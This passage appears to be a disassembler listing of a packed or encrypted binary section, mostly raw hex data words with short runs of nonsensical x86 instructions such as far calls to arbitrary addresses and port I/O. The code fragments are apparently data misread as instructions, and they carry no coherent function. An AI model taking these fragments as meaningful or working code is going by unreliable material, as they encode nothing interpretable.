6B986FF3h, 585F753Ch dd 89320057h, 7E071A10h, 1C78BEDBh, 0ABF14AF3h, 85A200ACh dd 1DD492A4h, 0A9F836D8h, 6A5E07FFh, 0D9A28E90h, 1540E8F2h dd 25564027h, 0D7AEEE16h, 1794D000h, 0CBF193h, 63CE0913h dd 4FE11E03h, 0BCA6F4B9h, 0AB685E80h, 7C910A4h, 6F0A15A8h dd 3FF187CDh, 0E0FF17A5h, 285A5858h, 48B5A8C0h, 42D8B0EBh dd 2F31FC5h dd 0F0888093h, 0C8094D4h, 7D89C33h, 21A41E1Ah, 1D33D680h dd 9ECE00E4h, 0CAB7C645h, 0BC09277Bh, 40084C76h, 2EAD8488h dd 39343593h, 0C22310h, 839D4C6Ch, 0E6E9C108h, 0CC4B0070h dd 0D409F73h, 0A2F0F39Ch, 0DD1ED8C0h, 48A894F9h, 0BD1024E9h dd 20FD2401h, 1B9FE407h, 821B6617h, 0FBCA320h, 0C1BD7B4Fh dd 0FA4AE3A0h, 4EA878DDh, 8BF3C821h, 90CB304h, 0D0B537F6h dd 0EFAF204Ch, 2F94802h, 0F4C2C0D0h, 10690B9Ch, 9130046Eh dd 68D3F002h, 18E560C5h, 13E15C73h, 7090D870h, 39F00B0Bh dd 0CCC905B9h, 5003A809h, 46561F30h, 91ED0CEFh, 4D045718h dd 29510F49h, 0C405F4A6h, 0ACC7EC68h, 0F2A186B4h, 1DC49C99h dd 77E068E5h, 287F07F7h, 0C0601CD4h, 59B726Dh, 8054939Fh dd 396B65A8h, 0AF8E5FCFh, 0A9C06EB2h, 40CE0712h, 70D9F628h dd 0B980437Bh, 0F416029Ch, 0CD97CC0Eh, 90DEACE2h, 42E8D30Fh dd 3FC8A8h, 0DD03F405h, 8343F8A8h, 0D1676100h, 0F56BF840h dd 76BB0C59h, 0A7580F45h, 20F07F58h, 0CCF60EF9h, 40938E9Bh dd 116FA8DCh, 0E4B9F5E3h, 973FF908h, 4CFC6283h, 691C88EDh dd 13CCEA15h, 0E8300B12h, 150D7472h, 0A4DD9DBBh, 6A805F2Eh dd 0A4B008ECh, 43BE40Bh, 9CE87E08h, 199CDC00h, 0C89A779Eh dd 78D530C0h, 828D41F3h, 143FD4DCh, 10F03958h, 0A1789836h dd 0B6FDCEECh, 1E0071E6h, 4019AD91h, 0BB884228h, 0DF0F74E0h dd 0E6A4A99Dh, 2754B22Ch, 3C81E6CCh, 30294569h, 2313BB94h dd 18A74709h, 0D6773C7Ch, 1196F317h, 0B013D0A3h, 132112BDh dd 6334E0D0h, 41165F07h, 0B270C57Eh, 0A8973E4Fh, 0E6DA3684h dd 0D4A912CCh, 0C9C84049h, 623D1164h, 9445C74Bh, 8C1EBB71h dd 25CE7A01h, 613A1F29h, 34997Ch, 3076E3D3h, 0B4182F44h dd 4C90CB6Eh, 7D3AB2F0h, 455CADA5h, 0D20C027Ch, 0ACC90DF4h dd 8012AF5h, 68451E08h, 0F420247Ah, 2DF94D60h, 0B9DC4F8h dd 24984CCh, 78DE02F5h, 48495565h, 69E5E577h, 90A02B4h dd 6AB8F51Eh, 70FC9Ch, 318B78Ah, 7713993Ch, 4F5B938h, 1357E8EFh dd 0CF8409ACh, 20586268h, 82BC1D27h, 47839Ch, 9FAB707h dd 809C0F00h, 410414D7h, 98899DEAh, 0E380688Fh, 856AF6A2h dd 80012412h, 76D0080Bh, 5F243DE0h, 0ACBD454Ch, 41280544h dd 0D4BCE9EBh, 1884ECB4h, 510F76Bh, 0B8D40168h, 761C1195h dd 0CBEC3060h, 6123800h, 185F69CFh, 35CA3925h, 3D043BF7h dd 702054DFh, 0A55E10h, 61C3489Eh, 54F49Dh, 6AA60562h dd 55C012FEh, 35954B00h, 26E88183h, 7FDFFAD7h, 249C4B52h dd 10F8020Ch, 0B84032D5h, 618287B4h, 69096D50h, 5A085C90h dd 760844CBh, 0B70032D0h, 2977879Ah, 6861C038h, 0EFE19D3h dd 4850DA1Ah, 3C08C129h, 977D9FCh, 111E8D53h, 0BB2D74C0h dd 4B258778h, 0AB68C86Ah, 80937D38h, 0C9602F68h, 1B7A4B78h dd 0EFCE00C4h, 5ED26765h, 0A378D817h, 1DD3DA03h, 784C2677h dd 2F17C71h, 56D9BD9Eh, 0E080D8A4h, 779D731Ch, 2936DB30h dd 0B68F267h, 0A3F3EE3Eh, 0BC5434A4h, 680497A4h, 0B09CA559h dd 4946408Ah, 0E376F109h, 10A4F940h, 86A58499h, 8C1500B2h dd 1E14B884h, 0F10478A1h, 0C16CA333h, 223051DCh, 724D80A4h dd 9CDE4329h, 0B7D40BD8h, 3C9954C9h, 0D3017C4Ch, 9403F5FCh dd 11F5F816h, 8C1D188Fh, 50A4B3F6h, 63404428h, 971F245Eh dd 5FC1E88h, 0B675F0Ch, 0C068FA08h, 0F3550D72h, 545CF6FCh dd 776ADB81h, 1D00B83Bh, 1090EBA3h, 9A4C0701h, 0CCADCE84h dd 0F50FC8BFh, 0EA800E90h, 3854B32Bh, 6475FE00h, 0D518225Fh dd 4099032Ch, 8AF365FFh, 6823AF98h, 7054CAEFh, 4AD4DD02h dd 0E38085BEh, 941068E9h, 1FDC40CEh, 0FE6608E9h, 0EB9B07BBh dd 60FA5B09h, 53F6D36Fh, 0C8AC797Fh, 0A4F52D2Ch, 2905C8A0h dd 4A692819h, 0C100D4A8h, 4B3A7C84h, 0F6013D6Dh, 4803CE2Bh dd 1C34376Fh, 0FEDC9875h, 0A518C4FBh, 68F30544h, 0C080ECD5h dd 0F858E383h, 0E8E47011h, 27F3278Bh, 49683068h, 65A5D90Bh dd 9DD4014Ch, 9835D520h, 251DBBE0h, 1885EA57h, 0C0D81EE4h dd 41E56FBFh, 17F3AF4h, 0D71CDB70h, 0F84BAEB6h, 17A8F0A6h dd 0A069F3FEh, 71AABECh, 358F642h, 240C5CB2h, 120F9h, 0D41D6F9h dd 40E8F79Ch, 9B67DF39h, 40119BF5h, 1F114A8h, 11D8EA03h dd 243D76B2h, 0BC94CFFCh, 94C444A5h, 16C0AC6Ch, 5B8CB309h dd 6C68B099h, 2666D80h, 1D15FD25h, 84AF61h, 7BDE080Dh dd 0C0E5ACF3h, 0EB459C38h, 0A513DB52h, 9D0CF7DAh, 0F9740E7h dd 2611931Bh, 0B4245685h, 0AF131D58h, 40DCE09Dh, 0DEED0378h dd 0BC851DF0h, 1C9C702Eh, 68246069h, 43E14B51h, 0F6B069D4h dd 0FA072025h, 1FB60090h, 8C3BDFCh, 0BB12A711h, 58E3BED7h dd 0B1EA1D12h, 0B1A7D0ACh, 91C0909Dh, 0DF575CDDh, 29710A00h dd 0B4D8F582h, 0F6DD60Bh, 7FC4015Ah, 0B500C1BCh, 89B55E68h dd 53C86870h, 1836E77Ah, 36A89A32h, 0E397AC90h, 0BF105700h dd 0B4886C1Dh, 792300E0h, 0C90D849Bh, 82011733h, 8AFC9091h dd 0D3E8D25Eh, 7928DC34h, 7C98B0BAh, 0ACA4102Fh, 81EF4B01h dd 63D1E784h, 680873E1h, 0AFBCCB1Ah, 2C1C3028h, 6797373h dd 0D4C99037h, 0DB0318D7h, 0A4B73354h, 0B0F7A02Bh, 0B9B0A5h dd 0C3317123h, 0D0932AD1h, 0D920DD00h, 87083F5Fh, 7F40774Ch dd 0C3650097h, 54889D29h, 49C7A88Fh, 604CA714h, 0B06E0021h dd 0D80F9F57h, 48A34F51h, 0D1A00EFFh, 998A39D3h, 0C9D51106h dd 620CAF6h, 74BFDDCh, 7E0C4896h, 38F5704Ah, 0AD2500D1h dd 0D548AE88h, 237A274Bh, 0A100EDF8h, 0B156B32Ah, 3B7EBCE0h dd 0BD1F51EEh, 54220375h, 0A006CFA5h, 492DC9DEh, 6F57F828h dd 589F58B0h, 0F8FFC8BDh, 0F9D57B80h, 0F069D101h, 0A3652A4Eh dd 0E31EA528h, 6861520Ah, 0D56EAE00h, 18903F25h, 8172C7Ch dd 3CF030BDh, 52634A70h, 0EAEEBB28h, 53C48029h, 6D32F67h dd 0F054683Dh, 1A03A1FEh, 885109F1h, 247DE1D2h, 337892h dd 29A8B387h, 0D73C56AAh, 0FFE50051h, 0BDAC8E62h, 5DA707A4h dd 365AD1C6h, 0B600A829h, 4E23B490h, 50B899C9h, 3CCD003h dd 4B8112AAh, 98008FDBh, 45D1089Fh, 0C10CB254h, 18C9D870h dd 5D945052h, 8D019F9Ah, 4AE183A2h, 3882A7EFh, 73AB4BC6h dd 6A819481h, 0CB09E0C4h, 646710C0h, 39CFF35h, 10B9AC82h dd 89C155FCh, 8086D1BFh, 9F48B1F1h, 2A68CA88h, 0EC982F93h dd 33C48057h, 83281548h, 5096554Bh, 40F81018h, 0B5017B29h dd 4AF9BA7Ch, 20A4DBC2h, 0B660A75h, 0B4C0ADE0h, 286142C9h dd 9020A4D0h, 0CF0FA7F8h, 49D2DB18h, 8106FCCh, 0AF6755CCh dd 0F432940h, 4C63F803h, 426004ADh, 831234A9h, 24B043C8h dd 0B800EA56h, 0F97EFD69h, 181E5523h, 5CC551D1h, 60C184FEh dd 3D98A3BDh, 0D0203CE9h, 0EC541820h, 51D570FDh, 182483Ah dd 2C3AC3A6h, 1F0DA38h, 5CD47CF8h, 0B91D6FE4h, 5EEC8C1Fh dd 0DB008A0Dh, 8CD2025Ch, 0F2512515h, 50618E1h, 0C0580201h dd 0FC79C528h, 1674A2CCh, 3A749067h, 5C8B250Dh, 2C03EC81h dd 1E013834h, 8996B353h, 7FEC5BD4h, 5CC1E1E5h, 0C7E242D8h dd 0D3C92A0Ch, 4F0B63C6h, 325058Ch, 3C5FE531h, 68798A14h dd 6461882h, 0A52B6EAh, 5AC90207h, 8AE0ED84h, 0BC251Dh dd 543515ABh, 535CD92Ah, 50ADEA3Dh, 1D009962h, 0F8480D9Ch dd 3BE8C2D8h, 350F8204h, 2A0281Ch, 0E7EA60FCh, 658C2940h dd 0C5803Dh, 1C8EB93Fh, 3262228Bh, 0A5936962h, 850E8A87h dd 10A4ECEAh, 813C01B6h, 0B7539AC6h, 0FEFD868h, 0AC7FF7F2h dd 0EDEAF40Ch, 3C892A72h, 0EE185ACFh, 35B3109Bh, 6705D2F4h dd 0CF2815Bh, 6160D1BAh, 840324h, 0BC545292h, 68891460h dd 0CDA8A38h, 215C2535h, 13CB6C32h, 0B4A8855Eh, 6F03CE82h dd 0C2287038h, 0BC581AE6h, 0FF00C53Bh, 7004BE56h, 0F828390Ch dd 1C932D6h, 104E7E1Eh, 40E9778Fh, 2C4FEAE0h, 75F5CAA8h dd 321BA80h, 824D2232h, 0CA05EF2h, 0D278F830h, 526CE201h dd 0BF576F53h, 2A010206h, 5FF288CFh, 76F7CEEAh, 0C7822914h dd 27D888F9h, 3CE36905h, 0B951B730h, 0C18CE8A8h, 0A3EAC212h dd 0C0208107h, 5EE67D19h, 0CEED70E8h, 2AD482B0h, 32403433h dd 5D0D0667h, 243A52F3h, 8545A1Eh, 3209E193h, 803312C4h dd 4217C008h, 0C10B50D9h, 0FD646FEAh, 0B012F780h, 0FB60BE6Ah dd 2BEE820Bh, 7E40967h, 430FFE2Ah, 7BBE5323h, 3F60C8F0h dd 102D2203h, 52E31787h, 0CD404E70h, 14EF690Ch, 54BE4380h dd 0FF0F45B4h, 0E5D4F7CCh, 0EA492132h, 0CAAC03E7h, 0F43ED939h dd 0E88A348Dh, 847A0364h, 0C4340C33h, 0EA060C32h, 521C6BC3h dd 6352B663h, 9E115017h, 5116413Dh, 0F05C55AFh, 4B140BBAh dd 73E96FC3h, 76EA4831h, 2C807C9Ah, 0BA0728BEh, 0F6018271h dd 0EBF806C4h, 0DD5062EAh, 5C535A55h, 0E5438169h, 33CBA24h dd 29BB3AF3h, 0EB820B01h, 6B774CC2h, 18498C90h, 93BA1588h dd 0F4028030h, 55738C48h, 0CDECCD7Bh, 0EB75C154h, 895AEAC1h dd 2FA8AE5h, 29ED1EFh, 4F62025Eh, 905C1623h, 7F8C579Fh dd 9D0CB31Fh, 0A9DBDC28h, 87168D2h, 59E5482Ah, 6320DD30h dd 0A8BC144Fh, 507BE7C1h, 41B663F7h, 257D2A0Dh, 0DCF58209h dd 8AAE509Dh, 80E29F88h, 5F1766D0h, 73A0581Ch, 678076D4h dd 3B84E45Ah, 563C02C7h, 2D03BE0Fh, 0EAEF3280h, 28C18BCCh dd 9EEC25Bh, 0FB2FBE43h, 63F2DF70h, 0AA690013h, 2D040239h dd 4E3825Bh, 10B1BB87h, 3524B084h, 7EB3FC2h, 78C4CB80h dd 0DF8A7DEDh, 527E5349h, 8D06902Ah, 0A4412288h, 0C0005922h dd 4E0308F5h, 60F92A29h, 88069A02h, 1D0D850Ah, 0B941E120h dd 0D635950Ah, 4851CAF7h, 92E834FFh, 37C67CC4h, 0FB18126Fh dd 254A2B06h, 2BE39820h, 93D11D8Ch, 0E45A0A4Ch, 0E4498FAh dd 5280222Bh, 93C732EAh, 7412EDCBh, 225312C8h, 0F8225B0Ch dd 8CCDA2D3h, 0EA34982Dh, 34EC4D75h, 22366D30h, 4F1B2313h dd 0E2105D02h, 0EA0C9045h, 32DA609Eh, 3A3D8406h, 2ED92CC5h dd 0B4EA0702h, 638FC41Ch, 0E38A940Dh, 800CFEE1h, 4FE1C7B7h dd 485A6426h, 0EE7F5088h, 2A37C97Dh, 0A6386211h, 0FF2C786Dh dd 7D40660Fh, 0ECA10BECh, 4666A64Fh, 0B942C01Bh, 15FC5DC4h dd 0BF03632h, 0B4CDC851h, 4C461758h, 72A105Ch, 2249592Ch dd 84C2A1C8h, 30515C01h, 0B10F9363h, 0C6D931D0h, 0A49AFC40h dd 0E17317Ah, 166FD85h, 23705553h, 0EF0A9210h, 40E91E20h dd 0DF00F817h, 0E30EF82h, 3902C6E8h, 0F0AA5FF6h, 32DE91D3h dd 9C0550Ch, 0E7B248BAh, 57306B0Fh, 8D584676h, 24EA8C14h dd 395BFB8Ah, 3C71698Ah, 5AB5C088h, 4D982F0Eh, 695BB1C1h dd 0BD892294h, 2C14A270h, 353354A1h, 25E601Ch, 8459C61Ch dd 2D10CCE6h, 0EA0D066Ch, 2484495Dh, 0A49005Ch, 8B04FC72h dd 0D2C1D929h, 69903A4Eh, 0C5848EC4h, 0BE018803h, 2A7E695Dh dd 0BC1AE433h, 0D8002939h, 637351C0h, 44D07EB8h, 0BB531B08h dd 0DBE59F27h, 7EE37581h, 0A8158C01h, 0C2316B8Dh, 0D882903h dd 84799F32h, 24D8FB20h, 8807345Ah, 6905729Eh, 3DCD0F9Bh dd 0EB2A3910h, 96D64C88h, 3113E420h, 2C0167C6h, 2055AE9h dd 0A72D8143h, 0F6C1C525h, 0B0709CB7h, 0EFC10139h, 0B8696706h dd 0DAA2D258h, 0C3E18FB1h, 79C7CC4Fh, 10DD2973h, 0EBB7A060h dd 1EBC807Fh, 6D5A4E1Eh, 4E189289h, 1C462150h, 0B6598491h dd 807BAA4Ch, 71E55B9h, 0E4921C38h, 3298B446h, 6346D2Eh dd 10C0600Dh, 0B3416081h, 82001990h, 3E1452C6h, 1FC70D5Ch dd 0EFC0D3B0h, 565BD602h, 662CC85Ah, 3329CC26h, 0B3048789h dd 6A9CC91Bh, 58E6B39Ah, 0EE53E046h, 0E02D26DFh, 62092894h dd 73908A1h, 0ED2F90BEh, 0E67C8220h, 5F1F2916h, 4AD2395Dh dd 38469149h, 0C8A82E7Ah, 0B60E8A8Fh, 2ED8D4E4h, 0A2003C0Eh dd 0E681C6FFh, 0DEF73ACAh, 6BDF699h, 30F7570Fh, 67332DF1h dd 0A63D5B74h, 6805BA29h, 5E345F68h, 64E22091h, 0A9DC1005h dd 3524BC05h, 5BF10E61h, 0E4C20F90h, 98650403h, 0F21F9CDh dd 0B0538F18h, 829F7B11h, 4F03F028h, 0EF9D0C7h, 690F2112h dd 0E4965704h, 2646A036h, 7023E00Fh, 0A15D450Dh, 8F563ED2h dd 3D8024C6h, 5CCF8200h, 0EDE76430h, 5F75967Eh, 205D3D49h dd 69C910B7h, 462D4CB2h, 0D737BDD0h, 15BADD86h, 0C1110456h dd 3609168Bh, 32DD4062h, 1E30E5CEh, 0FA02B088h, 48202CF9h dd 499D08BCh, 30A1D29h, 2E322975h, 2E8B502Dh, 1EA1EF2Ah dd 94C8DF4h, 0CB622224h, 0F741185Dh, 0E93BC9D6h, 0E794C383h dd 65F81026h, 774DBB01h, 0B3610589h, 82276960h, 59205860h dd 90DF1D3Dh, 0F2492EEDh, 88209D49h, 0E0B33B92h, 73BEEA0Ch dd 69521259h, 175053FEh, 651E0E39h, 0AA0C330Fh, 0F0038129h dd 0F5831058h, 2B2D1569h, 0C491A95Fh, 8CD597Fh, 0D9D6EA82h dd 0DEF6B0C8h, 5A63E033h, 5A1D8487h, 148B6578h, 0DA651D14h dd 6D855891h, 2E24E600h, 1826B7Dh, 0DD2BCEE2h, 40DAF880h dd 0A4D8FCD6h, 0D0029602h, 8FBF575Ah, 5FF82525h, 2661C4C9h dd 87B0E901h, 0C0D7E507h, 23FAB618h, 6037D57Dh, 51F483A5h dd 7400412h, 0F1AB1B80h, 740784BFh, 4BC597B0h, 0F8E0012Ch dd 0B6212A81h, 20F92031h, 0D4E52761h, 8063061h, 0E07C8632h dd 0AB40F134h, 485A7CE0h, 0C92A583Fh, 0CE5591A4h, 3E8ACCD1h dd 0B9511B56h, 87D51D02h, 0EA57A0AAh, 58B139D1h, 0EBA22ABCh dd 10C10C03h, 128B7385h, 121D788Bh, 511D4349h, 31C1CFB1h dd 47D94A9h, 4C695830h, 7E25947Eh, 1332CC82h, 0CF175C69h dd 0A11D5C60h, 0F526957h, 82003A35h, 27EB6698h, 84827B90h dd 30EA0801h, 43117568h, 332478C3h, 86622EC3h, 0B2070949h dd 94C88451h, 12F4815Ch, 711C2399h, 37F827Fh, 8B528894h dd 6087A429h, 10675D41h, 10F022BCh, 8A12D507h, 814B02E2h dd 6240DD80h, 45E255E7h, 2E97645Ch, 889007E6h, 5ED35D18h dd 7A24E99Ch, 0C781C41Bh, 24EF4273h, 0C488B0ECh, 91040516h dd 0DAE883A7h, 5C2473C0h, 3F60E918h, 78575218h, 71F1F653h dd 0BE1CC4FFh, 0C8010078h, 3FC08359h, 749D5004h, 0E9584324h dd 773D2A17h, 8E108EC1h, 0D800DF2Fh, 5822CC0Eh, 6A0C6187h dd 0F7E08950h, 32603A9Bh, 0D47462E6h, 0FE01280Ah, 0CD80C6A2h dd 5616209Bh, 0D51EDE89h, 0F930CF8Dh, 0DF37DDD8h, 4CE2DF0Ch dd 5C0E4767h, 98E8213Fh, 0F7100E23h, 840F0CDDh, 45CED829h dd 34608CEEh, 0B7C5811Fh, 42770611h, 169D1AE9h, 995D503Bh dd 132D5B8h, 585EE787h, 286FC351h, 0CB352605h, 0BA0E578Ah dd 58007013h, 85ECE705h, 0C77D010Eh, 1ACF60B8h, 0EF808128h dd 0B9418B34h, 0C548C481h, 7C07B02Ch, 1CFDE9F8h, 0B0500F4Ch dd 0E9D90CF3h, 0BA129E93h dd 0E2593B00h, 8BD72962h, 0C319A614h, 924EE916h, 0F660E0Dh dd 0AA8C74BBh, 83D6D2D6h, 190030D3h, 2BB44B72h, 3DB75F7h dd 33DDC381h, 0F3B06383h, 9F8253Ch, 0EA8EE91Bh, 2434903Ah dd 0A43DF5Fh, 9DC47B81h, 43C694E6h, 0D102EC40h, 8735EC0Dh dd 30280E3Ah, 75021274h, 29C8DF49h, 0C589A040h, 300291AAh dd 6801017Fh, 6B845E17h, 60BD242Ch, 0F9432F23h, 3C8B4682h dd 0D405224h, 14A2C281h, 40870611h, 0E8015C9Bh, 5D1F0550h dd 65A9681Bh, 0BA222A67h, 0E9D00A62h, 82FEBFh, 3BB8F781h dd 0F150C5Eh, 7CF4FD86h, 5944E700h, 15E97ECAh, 0C116C069h dd 880F03EFh, 40D33033h, 0FA8DB94Fh, 0D7F75D87h, 34809147h dd 541280A0h, 83D830ACh, 660230ECh, 44BB28Fh, 0F7E99A38h dd 0D12D28C1h, 4D207346h, 0B629401Fh, 0DE043F1Ch, 8E2CF00Eh dd 58C3005Ah, 0C3B1EB80h, 0A4E8E90Ch, 5AD2C00h, 48D51614h dd 4377092Dh, 0C000AE6h, 600B0C39h, 3BF3872Eh, 0F010835h dd 5F026DB6h, 1836EBD8h, 1845BE05h, 89F0BBBDh, 4C172D01h dd 0D1E97406h, 0C524A222h, 580E02B6h, 0A3410542h, 43183215h dd 90867CD0h, 6095F017h, 0BD55A98Bh, 0DD013732h, 3E89055Ah dd 0E0421D10h, 5D07842Dh, 78550680h, 0BB0A5025h, 0CF813D08h dd 64E50609h, 79C1484h, 7573FD09h, 0CFA12CDCh, 0A4BE0078h dd 462C2850h, 748F0F0Ch, 70CE9B57h, 70B7E83h, 0C189A704h dd 4A7CB1BEh, 3F1E8313h, 0D116214Ch, 1CD94FEEh, 0C08742F6h dd 14A2F6D9h, 0D35EF529h, 0FA790E15h, 1F9074C4h, 90E432BBh dd 0C9B34B5Dh, 3F24702Dh, 0BD30F7E8h, 90334802h, 0D063136h dd 66F28B78h, 7D44F6E9h, 3AB85003h, 0C809477Ah, 8010A0E9h dd 8483368h, 0A693D471h, 0BE259138h, 0CF10EF4Ch, 33976865h dd 1AFC2C3Eh, 6E0AD8A4h, 13BF128Eh, 0C95F8368h, 26F93289h dd 885CEC9Bh, 268CB23Fh, 8E9D488h, 3241B65h, 0D909D31Eh dd 400C1046h, 9823E061h, 0C022406Ch, 8008E500h, 0EA88E8C5h dd 1BC2EC59h, 4D2F6A4h, 2821A0EFh, 7D905AD3h, 1480A976h dd 0C657DA2Fh, 6386470Fh, 18CF9933h, 510C2554h, 4A9E9944h dd 912A686Ch, 0A0861E0Dh, 0EECEE91Ah, 0AB4C88FAh, 87C2FB64h dd 89DD911Ch, 7C687720h, 0E49D26Eh, 3518BF61h, 0BA0E5257h dd 0C6E92DE4h, 0ECBA5401h, 0AD99A9C2h, 0DFD920h, 81519864h dd 0B73714E3h, 0D33848h, 0D9F1BD91h, 55BDE29h, 8068C601h dd 2693533h, 0AC1E11B0h, 93C59A40h, 2A4E0B01h, 64E9CD87h dd 0ED5F1F24h, 3DA253F9h, 9DF520F5h, 5C24429Bh, 0E489303Bh dd 0A2D1B4E9h, 21126583h, 210F2606h, 28AF2388h, 9BA34D9Ah dd 0C805576Fh, 526E9173h, 0D13C20B2h, 4564BAF6h, 2BA1C757h dd 8BAA3E41h, 0EB2AFA0h, 0DAD8FCB9h, 0F6DC4CDFh, 2D03AD56h dd 3720988h, 0EE39E355h, 5F11A96Fh, 9AA8E40h, 0C1052EBFh dd 162C2CEAh, 2A3718E9h, 8B6AF021h, 72ED71C0h, 7337E1CDh dd 0F5C08E76h, 9AE9C209h, 901D927Fh, 505CCF4Ah, 8B93546Ch db 0CFh ; --------------------------------------------------------------------------- loc_51AEB9: ; CODE XREF: sdfs____:0051AF15j xor [ecx+0Ah], dl pop ecx and al, 46h or dword ptr [ebx+eax*8], 4Fh jmp near ptr 1651BFCAh ; --------------------------------------------------------------------------- dd 94728ABFh, 4CF73138h, 0AC00D35Eh, 158AB6Dh, 0ED26E9FBh dd 0F1982F1Fh, 14330950h, 265E3699h, 3C891410h, 0DDB707B9h dd 5DB401C9h, 26082C80h, 6E1E4807h, 7DC522Eh, 0A1E7C128h dd 841A7BE9h db 38h ; --------------------------------------------------------------------------- push ebp mov ebp, esp test [eax], ch pop ebp push esi mov al, ds:10062C5Dh jle short loc_51AEB9 xor eax, 90142168h jg short loc_51AF6B jecxz short loc_51AF2D jmp near ptr 0D99CE36Bh ; --------------------------------------------------------------------------- sbb [ebp+1Ch], esi adc al, 99h retn 0CE23h ; --------------------------------------------------------------------------- loc_51AF2D: ; CODE XREF: sdfs____:0051AF1Ej mov cl, [ebp+edi+6E8C66CFh] or bl, [eax+403D45B1h] xor eax, offset dword_4ECA24 lodsd mov esi, ebx mov cl, bl pop edi xor ebp, eax xor cl, ch test [ebp-6EB64898h], ebp in al, 0BEh ; Interrupt Controller #2, 8259A call far ptr 6100h:8060E658h and cl, [edx-1A7EF89Ah] ; --------------------------------------------------------------------------- dw 3D8Ch ; --------------------------------------------------------------------------- mov al, ds:9A7CE961h jnb short near ptr loc_51AFE4+2 lahf dec edx jo short loc_51AFB6 loc_51AF6B: ; CODE XREF: sdfs____:0051AF1Cj cmp eax, 77080FC9h sub [esi+53h], al xchg eax, ebx sbb ebp, [eax+4FBE0324h] jo short near ptr dword_51AFAC push 424D9050h xlat or [edi], ch jmp near ptr 3366C82Fh ; --------------------------------------------------------------------------- db 8Fh, 10h, 0DFh dd 680D545Dh, 9277EA2Eh, 4C52BE68h, 0FD012043h, 51172C42h dd 0C87730B9h, 1232E959h, 0C05E106Fh dword_51AFAC dd 0F1164C8Fh, 49659E20h db 0F2h, 0C9h ; --------------------------------------------------------------------------- loc_51AFB6: ; CODE XREF: sdfs____:0051AF69j xchg cl, [ebx] mov ebx, ecx add ebp, esp jb short near ptr loc_51AFE4+4 push ds dec edx dec ebp rcr ebp, 5 call near ptr 3C6A0BBEh push ebp sub [esi+422CFB0Bh], cl loopne loc_51B03C sbb cl, [ebx-6BF5AF80h] dec esi db 66h rcl byte ptr [esi+22h], 0D2h popf add eax, 0A4700CEFh loc_51AFE4: ; CODE XREF: sdfs____:0051AF65j ; sdfs____:0051AFBCj xor eax, 0A3F3BDC0h push ebx add dl, ah xor edx, edi jmp near ptr 39AACD7h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 55110250h, 7CD16870h, 0CD59E6B0h, 3E60848Ah, 95B92ED0h dd 63DB0033h, 0B18E181h, 86903AFAh, 32047F01h, 0D1D9F77Dh dd 0DEE9D0FBh, 0BFE70BF0h, 188FCA01h, 0D04E7F24h, 0F7685145h dd 1C7590E9h, 7FA85D2Ah, 0BA3DEE59h ; --------------------------------------------------------------------------- loc_51B03C: ; CODE XREF: sdfs____:0051AFD0j fiadd dword ptr [eax-6B82F217h] db 64h enterw 4782h, 2Fh xchg edx, [esi+2DDA1003h] jnz near ptr 28889978h mov al, [esi+7869F540h] dec edx db 3Eh mov al, 75h call far ptr 1812h:621A1EA8h out dx, eax xlat pop edx movsb or [eax], ebx jmp near ptr 0F6E13DCCh ; --------------------------------------------------------------------------- dd 0DE8825DBh, 80033794h, 0E6C086CEh, 9BF6B106h, 0C003EED8h dd 0F028450Ch, 2B0C045Ah, 3383A5E9h, 2A5D98C3h, 7FC3EF97h dd 306919CBh, 28F4C21Ah, 0E72A7A02h, 70C0EF06h, 0CD8B0124h dd 53547457h, 2958443Ch, 909CC512h, 191133F0h, 3A055A48h dd 6A2F9703h, 8239A11Eh, 0D94FC86Fh, 89ACC031h, 5B381C5Ah dd 203352E9h, 0B3AD8F1Fh, 0C304D0B8h, 65010FB7h, 648482C4h dd 0E9870818h, 394C6EE6h, 16691D3h, 348DF5C1h, 66485CF8h dd 0CC2D862Ch, 0C2C106F9h, 2C564A3Bh, 3E1E0FFh, 0F48A0F1Eh dd 9C32537h, 0E04C9342h, 0C04D9B8Bh, 0B7B1F16Bh, 8918DB34h dd 62B459CFh, 0A82F6229h, 0F86C5FF9h, 0BE46514Eh, 3C888F59h dd 0BAA685Ch, 2F8320F5h, 0EEC8839h, 0C15958E6h, 5C8A5AF5h dd 6CB538BEh, 18748741h, 0B5518F3Eh, 0A3B4EEB6h, 0F93EB050h dd 2901011Ah, 0B29F40D3h, 614E4D33h, 69623C29h, 0BA9EB9C0h dd 294C2012h, 68570128h, 41CD7A05h, 58EAB748h, 38D39722h dd 5D8CED18h, 51020677h, 65766866h, 9A988F5Ah, 6831EF41h dd 0C426C832h, 0AA017A7Fh, 86EE9h, 707E0C1h, 6D0FF405h dd 0D581310Ah, 0DFA85113h, 6860453h, 1F29EF04h, 7B616D9Ah dd 688085FBh, 6B5210CBh, 160E9E1Fh, 0EE81A09Eh, 48776A6Bh dd 5B22364Ch, 6292CD06h, 9FE1C7Fh, 2AEB40C3h, 54485180h dd 1247895h, 0C7010DCDh, 1861431Dh, 0A072F0BCh, 91575D08h dd 4C5F110Dh, 0F7F88496h, 25005809h, 0E228B5D2h, 29CD8926h dd 0E9899523h, 0B314E0F1h, 2CB560FDh, 0E5045BDDh, 533AE8EAh dd 71E98BB7h, 360F282Dh, 1BD0DF65h, 0E058C188h, 140B96C8h dd 99C3359h, 32032CE8h, 6E4AE3D8h, 0A3776116h, 48598AF2h dd 0A3F1F750h, 871D12B3h, 627EDD14h, 0C0E9C4C0h, 0EBAC7093h dd 0A33EFB0Eh, 6A87E293h, 0C8248EC2h, 0B450425Dh, 0D294E143h dd 87E45B20h, 59FF38E1h, 0E2C0F06Ah, 9CCC9806h, 99802799h dd 65AA6802h, 31DD5C4h, 0C0525107h, 127C3560h, 0EA017098h dd 0B8ABC182h, 0E9E4D189h, 5A5849C2h, 685DEE02h, 6DC60786h dd 40DA62F1h, 2707C6EDh, 16EE746h, 8360869h, 0C233A83Fh dd 0D06316Dh, 5A0F6420h, 0C70F44B3h, 6D0413C9h, 0F0777DFh dd 0D2CBA48Fh, 0B9EAAAE2h, 2EE0F510h, 94D7F680h, 0CAFE0CC6h dd 0D640E134h, 8DF23980h, 28CDC29Fh, 334966A5h, 216E1CD2h dd 0E5EAA632h, 0B02E0906h, 50AC015Dh, 39586FF0h, 0ADBBC0ABh dd 302A1F56h, 0BE244481h, 29ECCA79h, 14F96E9Ah, 0D5E90C04h dd 0B414D488h, 8951802Dh, 56FA68E1h, 14BCC5B1h, 0C2377698h dd 0E3618D4Fh, 460ECCBEh, 88F064C5h, 0A3520F05h, 492622A1h dd 0ADCC6252h, 0F12430Dh, 3D4F928Eh, 6E38A457h, 513E9FB7h dd 8D11B295h, 0BA9F212h, 3380C0B9h, 0DDF6FD88h, 8BF0EFE8h dd 